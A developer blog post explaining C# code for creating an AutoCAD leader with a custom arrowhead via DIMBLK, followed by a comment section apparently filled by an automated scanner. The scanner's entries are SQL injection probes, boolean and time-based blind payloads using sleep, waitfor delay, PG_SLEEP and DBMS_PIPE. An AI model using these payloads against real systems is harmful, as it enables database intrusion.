Creating an AutoCAD leader with a different arrowhead using .NET
Most of this week I've spent catching up after a nice, long break, as well as spending a few days in Prague helping interview potential recruits for our European team. Now it's finally time for me to climb back into the blogging saddle...
This first entry of 2007 is based on some code provided by Viru Aithal, a member of our team based in Bangalore. The code demonstrates how to create a leader using an arrowhead other than the current default (the one referred to by the DIMBLK system variable).
Here's the C# code:
using Autodesk.AutoCAD.Runtime;
using Autodesk.AutoCAD.ApplicationServices;
using Autodesk.AutoCAD.DatabaseServices;
using Autodesk.AutoCAD.EditorInput;
using Autodesk.AutoCAD.Geometry;
using System;
[assembly:
CommandClass(
typeof(
DimensionLibrary.DimensionCommands
)
)
]
namespace DimensionLibrary
{
public class DimensionCommands
{
static ObjectId GetArrowObjectId(string newArrName)
{
ObjectId arrObjId = ObjectId.Null;
Document doc =
Application.DocumentManager.MdiActiveDocument;
Database db = doc.Database;
// Get the current value of DIMBLK
string oldArrName =
Application.GetSystemVariable(
"DIMBLK"
) as string;
// Set DIMBLK to the new style
// (this action may create a new block)
Application.SetSystemVariable(
"DIMBLK",
newArrName
);
// Reset the previous value of DIMBLK
if (oldArrName.Length != 0)
Application.SetSystemVariable(
"DIMBLK",
oldArrName
);
// Now get the objectId of the block
Transaction tr =
db.TransactionManager.StartTransaction();
using(tr)
{
BlockTable bt =
(BlockTable)tr.GetObject(
db.BlockTableId,
OpenMode.ForRead
);
arrObjId = bt[newArrName];
tr.Commit();
}
return arrObjId;
}
// Define Command "ld"
[CommandMethod("ld")]
static public void CreateLeader()
{
Document doc =
Application.DocumentManager.MdiActiveDocument;
Editor ed = doc.Editor;
Database db = doc.Database;
const string arrowName = "_DOT";
ObjectId arrId = GetArrowObjectId(arrowName);
// Get the start point of the leader
PromptPointResult result =
ed.GetPoint(
"\nSpecify leader start point: "
);
if (result.Status != PromptStatus.OK)
return;
Point3d startPt = result.Value;
// Get the end point of the leader
PromptPointOptions opts =
new PromptPointOptions(
"\nSpecify end point: "
);
opts.BasePoint = startPt;
opts.UseBasePoint = true;
result = ed.GetPoint(opts);
if (result.Status != PromptStatus.OK)
return;
Point3d endPt = result.Value;
// Now let's create the leader itself
Transaction tr =
db.TransactionManager.StartTransaction();
using (tr)
{
try
{
BlockTable bt =
(BlockTable)tr.GetObject(
db.BlockTableId,
OpenMode.ForRead
);
BlockTableRecord btr =
(BlockTableRecord)tr.GetObject(
bt[BlockTableRecord.ModelSpace],
OpenMode.ForWrite
);
// Add the MText
MText mt = new MText();
mt.Contents =
"Leader with the \"" +
arrowName +
"\" arrow head";
mt.Location = endPt;
ObjectId mtId = btr.AppendEntity(mt);
tr.AddNewlyCreatedDBObject(mt, true);
// Add the Leader
Leader ld = new Leader();
ld.AppendVertex(startPt);
ld.AppendVertex(endPt);
btr.AppendEntity(ld);
tr.AddNewlyCreatedDBObject(ld, true);
ld.Annotation = mtId;
ld.Dimldrblk = arrId;
tr.Commit();
}
catch
{
tr.Abort();
}
}
}
}
}
Some comments on the technique used:
A helper function (GetArrowObjectId(arrowName)) is used to get the ObjectID of the block of our arrow head. To make sure this block exists, the function sets the value of DIMBLK to the arrowhead name, which - assuming the name is valid - will create the block in the block table. Then we simply have to get its ID and return it.
Once you've built the code, simply run the "LD" command, and select two points defining your leader (the code can easily be extended to allow selection of additional points and entry of a user-defined annotation string, of course).
Here's what you should see:
评论 (236)
1
1
1
1
1
1
YKOp0eRz
-1 OR 2+140-140-1=0+0+0+1 --
-1 OR 2+78-78-1=0+0+0+1
-1' OR 2+137-137-1=0+0+0+1 --
-1' OR 2+440-440-1=0+0+0+1 or 'pJMjKA1L'='
-1" OR 2+399-399-1=0+0+0+1 --
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-1; waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-1)); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
eaxK5toQ'; waitfor delay '0:0:15' --
753q04Yl'); waitfor delay '0:0:15' --
PZEY28y1')); waitfor delay '0:0:15' --
-5 OR 445=(SELECT 445 FROM PG_SLEEP(15))--
-5) OR 504=(SELECT 504 FROM PG_SLEEP(15))--
-1)) OR 101=(SELECT 101 FROM PG_SLEEP(15))--
wXFfnZIh' OR 239=(SELECT 239 FROM PG_SLEEP(15))--
236wA97V') OR 74=(SELECT 74 FROM PG_SLEEP(15))--
4L4iqEcK')) OR 972=(SELECT 972 FROM PG_SLEEP(15))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
1
1����%2527%2522
@@ZFgeW
555
1
1
1
1
1
1
1
1
1
1
1
1
1
1
555
1
555
1
555
1
555
555
555
1
1
555
555
1
555
1
555
1
555
1
555
1
555
1
1
1
555
1
555
1
555
1
555
tWG2RVm6
-1 OR 2+57-57-1=0+0+0+1 --
-1 OR 2+72-72-1=0+0+0+1
-1' OR 2+987-987-1=0+0+0+1 --
-1' OR 2+474-474-1=0+0+0+1 or '2EyUA2bO'='
-1" OR 2+260-260-1=0+0+0+1 --
555
if(now()=sysdate(),sleep(15),0)
555
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
555
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
-1; waitfor delay '0:0:15' --
555
-1); waitfor delay '0:0:15' --
555
-1)); waitfor delay '0:0:15' --
555
1 waitfor delay '0:0:15' --
555
AOjwfbGc'; waitfor delay '0:0:15' --
555
555
555
555
bkKsPQUM'); waitfor delay '0:0:15' --
555
myfTIqS4')); waitfor delay '0:0:15' --
555
-5 OR 75=(SELECT 75 FROM PG_SLEEP(15))--
rxYrKkhF
-1 OR 2+871-871-1=0+0+0+1 --
-1 OR 2+556-556-1=0+0+0+1
-1' OR 2+425-425-1=0+0+0+1 --
-1' OR 2+498-498-1=0+0+0+1 or 'RJXa2PkB'='
-1" OR 2+81-81-1=0+0+0+1 --
-5) OR 362=(SELECT 362 FROM PG_SLEEP(15))--
if(now()=sysdate(),sleep(15),0)
-1)) OR 757=(SELECT 757 FROM PG_SLEEP(15))--
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
n8tzPHyC' OR 630=(SELECT 630 FROM PG_SLEEP(15))--
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gVGGroF3') OR 628=(SELECT 628 FROM PG_SLEEP(15))--
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
TVWpUv13')) OR 842=(SELECT 842 FROM PG_SLEEP(15))--
-1; waitfor delay '0:0:15' --
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
-1); waitfor delay '0:0:15' --
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
1����%2527%2522
@@kQGDv
-1)); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
3wwPInFq'; waitfor delay '0:0:15' --
xumadjXJ'); waitfor delay '0:0:15' --
DQQznX3O')); waitfor delay '0:0:15' --
-5 OR 873=(SELECT 873 FROM PG_SLEEP(15))--
-5) OR 53=(SELECT 53 FROM PG_SLEEP(15))--
-1)) OR 619=(SELECT 619 FROM PG_SLEEP(15))--
xhXWU6GE' OR 601=(SELECT 601 FROM PG_SLEEP(15))--
vay8zAeB') OR 370=(SELECT 370 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),3)||'
1'"
1����%2527%2522
@@SyZSa
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555
555
555
555
555
555
555
555
555
555
555
555
S69QFZ79
-1 OR 2+391-391-1=0+0+0+1 --
-1 OR 2+596-596-1=0+0+0+1
-1' OR 2+38-38-1=0+0+0+1 --
-1' OR 2+459-459-1=0+0+0+1 or 'cvKZxSdI'='
-1" OR 2+666-666-1=0+0+0+1 --
555
555
if(now()=sysdate(),sleep(15),0)
555
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
555
555
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
555
-1; waitfor delay '0:0:15' --
555
-1); waitfor delay '0:0:15' --
555
-1)); waitfor delay '0:0:15' --
555
555
555
1 waitfor delay '0:0:15' --
bunIvh1W'; waitfor delay '0:0:15' --
555
acnoyom6'); waitfor delay '0:0:15' --
555
555
ZjF9MEeD'); waitfor delay '0:0:3' --
vy93W2by')); waitfor delay '0:0:15' --
-5 OR 558=(SELECT 558 FROM PG_SLEEP(15))--
-5) OR 761=(SELECT 761 FROM PG_SLEEP(15))--
-1)) OR 251=(SELECT 251 FROM PG_SLEEP(15))--
li5fhwUa' OR 417=(SELECT 417 FROM PG_SLEEP(15))--
ji3mkxyr') OR 707=(SELECT 707 FROM PG_SLEEP(15))--
AiOKzSSv')) OR 833=(SELECT 833 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
1����%2527%2522
@@KjViA
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555